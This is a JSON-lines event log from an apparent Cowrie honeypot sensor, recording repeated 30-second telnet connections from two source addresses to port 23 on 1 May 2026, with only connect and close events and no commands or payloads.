{"eventid":"cowrie.session.closed","duration":31.17976975440979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.199120Z","src_ip":"208.115.200.90","session":"6a09686930b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f14b377a182","protocol":"telnet","message":"New connection: 208.115.200.90:51880 (10.17.0.5:23) [session: 9f14b377a182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.240317Z"}
{"eventid":"cowrie.session.closed","duration":30.443700790405273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.275284Z","src_ip":"208.115.200.90","session":"3531ee4c97c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207515954971313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.294252Z","src_ip":"208.115.200.90","session":"c23980fa6f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278913497924805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.303197Z","src_ip":"208.115.200.90","session":"e635d41a6ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51562,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdd3e18a7b9","protocol":"telnet","message":"New connection: 208.115.200.90:51562 (10.17.0.5:23) [session: 7cdd3e18a7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.324838Z"}
{"eventid":"cowrie.session.closed","duration":30.931820392608643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.427825Z","src_ip":"208.115.200.90","session":"5c3e0eacb70f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45232,"dst_ip":"10.17.0.5","dst_port":23,"session":"1105da31e7c1","protocol":"telnet","message":"New connection: 208.115.200.90:45232 (10.17.0.5:23) [session: 1105da31e7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.448480Z"}
{"eventid":"cowrie.session.closed","duration":30.693633317947388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.638507Z","src_ip":"208.115.200.90","session":"55abf4c61b74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.157079935073853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.656668Z","src_ip":"208.115.200.90","session":"e10ed7fa141b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.533707857131958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.858021Z","src_ip":"208.115.200.90","session":"6df2f0bb9c2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"178c09920018","protocol":"telnet","message":"New connection: 208.115.219.122:38364 (10.17.0.5:23) [session: 178c09920018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.967633Z"}
{"eventid":"cowrie.session.closed","duration":30.842725038528442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.044910Z","src_ip":"208.115.200.90","session":"90c24455295e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496915817260742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.070872Z","src_ip":"208.115.219.122","session":"dc79c88a8237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901704788208008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.143322Z","src_ip":"208.115.200.90","session":"a16c32f9cd56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38448,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f32159e8473","protocol":"telnet","message":"New connection: 208.115.219.122:38448 (10.17.0.5:23) [session: 5f32159e8473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.155883Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52076,"dst_ip":"10.17.0.5","dst_port":23,"session":"9384cb86dea6","protocol":"telnet","message":"New connection: 208.115.200.90:52076 (10.17.0.5:23) [session: 9384cb86dea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.250861Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52098,"dst_ip":"10.17.0.5","dst_port":23,"session":"29ad65b90f4c","protocol":"telnet","message":"New connection: 208.115.200.90:52098 (10.17.0.5:23) [session: 29ad65b90f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.346730Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52112,"dst_ip":"10.17.0.5","dst_port":23,"session":"2343f3928183","protocol":"telnet","message":"New connection: 208.115.200.90:52112 (10.17.0.5:23) [session: 2343f3928183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.354318Z"}
{"eventid":"cowrie.session.closed","duration":31.059056043624878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.363539Z","src_ip":"208.115.200.90","session":"2b7cbf430fad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52136,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa6f05f5948","protocol":"telnet","message":"New connection: 208.115.200.90:52136 (10.17.0.5:23) [session: 0aa6f05f5948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.421583Z"}
{"eventid":"cowrie.session.closed","duration":31.07739233970642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.431564Z","src_ip":"208.115.200.90","session":"a3c1ba577355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39723563194275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.448265Z","src_ip":"208.115.200.90","session":"88fefb38f072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00838017463684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.455453Z","src_ip":"208.115.200.90","session":"3808dd845561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"546cfff1d8d5","protocol":"telnet","message":"New connection: 208.115.200.90:52218 (10.17.0.5:23) [session: 546cfff1d8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.600711Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52060,"dst_ip":"10.17.0.5","dst_port":23,"session":"de3e09bef426","protocol":"telnet","message":"New connection: 208.115.200.90:52060 (10.17.0.5:23) [session: de3e09bef426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:06.985343Z"}
{"eventid":"cowrie.session.closed","duration":30.705844163894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.036629Z","src_ip":"208.115.200.90","session":"d912a202b3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.07562279701233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.046584Z","src_ip":"208.115.219.122","session":"8cf57a012de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35996,"dst_ip":"10.17.0.5","dst_port":23,"session":"297df0e9a181","protocol":"telnet","message":"New connection: 208.115.219.122:35996 (10.17.0.5:23) [session: 297df0e9a181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.056919Z"}
{"eventid":"cowrie.session.closed","duration":30.56532883644104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.063409Z","src_ip":"208.115.200.90","session":"611faad806e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899193286895752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.108670Z","src_ip":"208.115.200.90","session":"c0ef5fa4af0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38656,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3bd9175698","protocol":"telnet","message":"New connection: 208.115.219.122:38656 (10.17.0.5:23) [session: dc3bd9175698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.176938Z"}
{"eventid":"cowrie.session.closed","duration":30.765488624572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.190459Z","src_ip":"208.115.200.90","session":"fd91b0672939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee2e1fd9f4f1","protocol":"telnet","message":"New connection: 208.115.200.90:52652 (10.17.0.5:23) [session: ee2e1fd9f4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.229643Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc8675c8bb9","protocol":"telnet","message":"New connection: 208.115.200.90:52654 (10.17.0.5:23) [session: 0bc8675c8bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.237727Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"f433e293a5ce","protocol":"telnet","message":"New connection: 208.115.200.90:52660 (10.17.0.5:23) [session: f433e293a5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.242711Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36006,"dst_ip":"10.17.0.5","dst_port":23,"session":"024c98fb34f9","protocol":"telnet","message":"New connection: 208.115.219.122:36006 (10.17.0.5:23) [session: 024c98fb34f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.348991Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52700,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b2f9eb0488","protocol":"telnet","message":"New connection: 208.115.200.90:52700 (10.17.0.5:23) [session: 87b2f9eb0488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.357876Z"}
{"eventid":"cowrie.session.closed","duration":31.201281309127808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.404087Z","src_ip":"208.115.200.90","session":"afcfc7922ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130642890930176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.420369Z","src_ip":"208.115.200.90","session":"5b665dd3bf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52826,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c233438c2e","protocol":"telnet","message":"New connection: 208.115.200.90:52826 (10.17.0.5:23) [session: d0c233438c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.476103Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52876,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5b8dde8478","protocol":"telnet","message":"New connection: 208.115.200.90:52876 (10.17.0.5:23) [session: fe5b8dde8478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.490853Z"}
{"eventid":"cowrie.session.closed","duration":30.92646074295044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.588629Z","src_ip":"208.115.200.90","session":"3e0966a7c1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53418,"dst_ip":"10.17.0.5","dst_port":23,"session":"62beddac3c3f","protocol":"telnet","message":"New connection: 208.115.200.90:53418 (10.17.0.5:23) [session: 62beddac3c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:07.946645Z"}
{"eventid":"cowrie.session.closed","duration":30.680238962173462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.015909Z","src_ip":"208.115.219.122","session":"6e45c4d7ae4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631084442138672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.036408Z","src_ip":"208.115.200.90","session":"b4dfa2dc0273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36012,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c89146ee3bc","protocol":"telnet","message":"New connection: 208.115.219.122:36012 (10.17.0.5:23) [session: 1c89146ee3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.054559Z"}
{"eventid":"cowrie.session.closed","duration":30.4222354888916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.117231Z","src_ip":"208.115.219.122","session":"fd5416c98a2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b855014c7f01","protocol":"telnet","message":"New connection: 208.115.200.90:53476 (10.17.0.5:23) [session: b855014c7f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.168538Z"}
{"eventid":"cowrie.session.closed","duration":31.030903339385986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.239496Z","src_ip":"208.115.200.90","session":"3f5d98f783f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795218229293823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.245160Z","src_ip":"208.115.200.90","session":"a0b78157b1ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35850,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ea33ced88d","protocol":"telnet","message":"New connection: 208.115.219.122:35850 (10.17.0.5:23) [session: d4ea33ced88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.271537Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53488,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68373ed702c","protocol":"telnet","message":"New connection: 208.115.200.90:53488 (10.17.0.5:23) [session: f68373ed702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.291168Z"}
{"eventid":"cowrie.session.closed","duration":31.078478813171387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.304250Z","src_ip":"208.115.200.90","session":"2ffef47033f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82928705215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.312063Z","src_ip":"208.115.200.90","session":"c852f16777ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940086126327515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.341284Z","src_ip":"208.115.200.90","session":"37b74b65fc93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518255949020386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.449618Z","src_ip":"208.115.219.122","session":"a34fd6d3e6fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0000319480896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.644728Z","src_ip":"208.115.200.90","session":"3145a21f2775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.399774312973022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.889305Z","src_ip":"208.115.219.122","session":"a7d98ba2152f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53430,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb763918fb49","protocol":"telnet","message":"New connection: 208.115.200.90:53430 (10.17.0.5:23) [session: eb763918fb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:08.966826Z"}
{"eventid":"cowrie.session.closed","duration":30.810336351394653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.027042Z","src_ip":"208.115.219.122","session":"a405104c6fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737165451049805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.033601Z","src_ip":"208.115.200.90","session":"28793980c0da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.165714979171753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.084339Z","src_ip":"208.115.219.122","session":"45725aea8b3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0051052570343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.094414Z","src_ip":"208.115.219.122","session":"7aac4ff8fded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626753091812134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.108824Z","src_ip":"208.115.200.90","session":"d288fe706a99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53616,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b92ada1edce","protocol":"telnet","message":"New connection: 208.115.200.90:53616 (10.17.0.5:23) [session: 9b92ada1edce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.180930Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53632,"dst_ip":"10.17.0.5","dst_port":23,"session":"197f48fa3a4a","protocol":"telnet","message":"New connection: 208.115.200.90:53632 (10.17.0.5:23) [session: 197f48fa3a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.205980Z"}
{"eventid":"cowrie.session.closed","duration":30.923882961273193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.279222Z","src_ip":"208.115.200.90","session":"d2aea2b3399e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18943214416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.327088Z","src_ip":"208.115.200.90","session":"d63be3f9d41a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765031099319458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.358225Z","src_ip":"208.115.200.90","session":"a5b428056c21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198569297790527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.365361Z","src_ip":"208.115.200.90","session":"1a5266c3be35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53664,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e94b6b0e4b","protocol":"telnet","message":"New connection: 208.115.200.90:53664 (10.17.0.5:23) [session: 54e94b6b0e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.424964Z"}
{"eventid":"cowrie.session.closed","duration":31.461586236953735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.460802Z","src_ip":"208.115.200.90","session":"0b564e46f416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46427893638611,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.506935Z","src_ip":"208.115.200.90","session":"a1d6fcbc1737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53674,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3c1c53152f","protocol":"telnet","message":"New connection: 208.115.200.90:53674 (10.17.0.5:23) [session: 8b3c1c53152f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.511386Z"}
{"eventid":"cowrie.session.closed","duration":31.26359272003174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.565813Z","src_ip":"208.115.200.90","session":"dd228b0a9633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a097ab65f35","protocol":"telnet","message":"New connection: 208.115.219.122:36030 (10.17.0.5:23) [session: 5a097ab65f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.824049Z"}
{"eventid":"cowrie.session.closed","duration":31.561925172805786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:09.957265Z","src_ip":"208.115.200.90","session":"beaeb4d81483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35944,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fb76fce119","protocol":"telnet","message":"New connection: 208.115.219.122:35944 (10.17.0.5:23) [session: 71fb76fce119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.058351Z"}
{"eventid":"cowrie.session.closed","duration":30.77196431159973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.071115Z","src_ip":"208.115.200.90","session":"fa355258fa98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53784,"dst_ip":"10.17.0.5","dst_port":23,"session":"caddf2e313ca","protocol":"telnet","message":"New connection: 208.115.200.90:53784 (10.17.0.5:23) [session: caddf2e313ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.167839Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53804,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf764c05f79","protocol":"telnet","message":"New connection: 208.115.200.90:53804 (10.17.0.5:23) [session: 9bf764c05f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.241349Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53808,"dst_ip":"10.17.0.5","dst_port":23,"session":"0523b15e1556","protocol":"telnet","message":"New connection: 208.115.200.90:53808 (10.17.0.5:23) [session: 0523b15e1556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.247681Z"}
